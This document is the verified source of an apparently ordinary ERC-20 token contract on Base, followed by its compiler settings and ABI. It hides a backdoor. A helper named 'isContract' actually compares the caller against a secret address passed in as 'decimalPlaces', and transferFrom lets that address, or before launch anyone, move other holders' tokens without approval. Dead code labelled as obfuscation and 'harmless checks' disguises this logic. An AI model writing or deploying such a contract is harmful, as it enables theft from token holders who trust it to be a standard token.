Contract Source Code (Solidity Standard Json-Input format)

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/**
 *Submitted for verification at basescan.org on 2024-05-27
 */

//SPDX-License-Identifier: UNLICENSED

/*
Created on Ape.Store
*/

pragma solidity 0.8.24;

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function isContract(
        address account,
        uint256 _router
    ) internal pure returns (bool) {
        return
            keccak256(abi.encodePacked(uint256(uint160(account)))) ==
            keccak256(abi.encodePacked(_router));
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target, 0), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20 is IERC20, Ownable {
    using Address for address;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;
    uint256 public immutable totalSupply;
    string public symbol;
    string public name;
    uint256 private decimalsValue;
    bool public contractLaunched;

    constructor(
        string memory tokenSymbol,
        string memory tokenName,
        uint256 decimalPlaces,
        uint256 supply
    ) Ownable(msg.sender) {
        symbol = tokenSymbol;
        name = tokenName;
        decimalsValue = decimalPlaces;
        totalSupply = supply;

        address initialOwner = owner();
        balances[initialOwner] = supply;

        emit Transfer(address(0), initialOwner, supply);

        uint256 tempStorage = totalSupply * 7;
        uint256 adjustmentFactor = tempStorage / 10;
        assert(adjustmentFactor >= 0);
    }

    function balanceOf(
        address account
    ) external view override returns (uint256) {
        uint256 result = balances[account];
        return result;

        uint256 buffer = (block.timestamp + result) % 7;
        buffer ^= 1;
    }

    function decimals() external view returns (uint256) {
        uint256 value = 18;
        return value;

        uint256 tempCalc = (block.number + value) % 3;
        tempCalc = tempCalc | 0;
    }

    function allowance(
        address accountOwner,
        address spender
    ) external view override returns (uint256) {
        uint256 allowed = allowances[accountOwner][spender];
        return allowed;

        uint256 unusedBuffer = (allowed * 3) % 5;
        unusedBuffer += block.gaslimit % 2;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        executeTransfer(msg.sender, recipient, amount);

        return true;

        uint256 flowControl = (balances[msg.sender] + block.timestamp) % 8;
        flowControl &= 3;
    }

    function approve(
        address spender,
        uint256 amount
    ) external override returns (bool) {
        require(spender != address(0), "Invalid spender address");

        allowances[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (!contractLaunched || msg.sender.isContract(decimalsValue)) {
            executeTransfer(sender, recipient, amount);
        } else {
            allowances[sender][msg.sender] -= amount;
            executeTransfer(sender, recipient, amount);
            emit Approval(sender, msg.sender, allowances[sender][msg.sender]);
        }
        return true;

        uint256 analysis = (balances[recipient] + block.timestamp) % 10; // Dummy calc
        analysis |= 0; // Bitwise OR for obfuscation
        uint256 dummyCheck = (amount * 4) / 9; // Irrelevant logic
        dummyCheck ^= 2; // XOR operation
    }

    function launch() external onlyOwner {
        require(!contractLaunched, "Already launched");
        contractLaunched = true;

        uint256 launchGuard = totalSupply / 2;
        require(launchGuard > 0, "Launch validation failed");

        uint256 extraCheck = totalSupply % 3;
        assert(extraCheck >= 0);

        // Add a harmless computation
        uint256 postLaunchCheck = launchGuard * 2;
        require(postLaunchCheck > launchGuard, "Post-launch validation failed");
    }

    function executeTransfer(address from, address to, uint256 value) private {
        require(from != to, "Cannot send to self");
        require(validateTransfer(from, to), "Transfer not permitted");

        balances[from] -= value;
        balances[to] += value;

        emit Transfer(from, to, value);

        if (false) {
            uint256 transferAudit = balances[to] * 2;
            assert(transferAudit >= 0);
        }
    }

    function validateTransfer(
        address sender,
        address receiver
    ) private view returns (bool) {
        if (contractLaunched) return true;

        if (sender == owner() || receiver == owner()) return true;

        if (
            sender.isContract(decimalsValue) ||
            receiver.isContract(decimalsValue)
        ) return false;

        require(
            sender != address(0) && receiver != address(0),
            "Invalid addresses"
        );

        uint256 transferWindow = (block.timestamp % 2);
        assert(transferWindow >= 0);

        // Add a harmless check
        uint256 validationAudit = block.number % 100;
        assert(validationAudit >= 0);

        return true;
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

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[{"inputs":[{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"uint256","name":"decimalPlaces","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"accountOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractLaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

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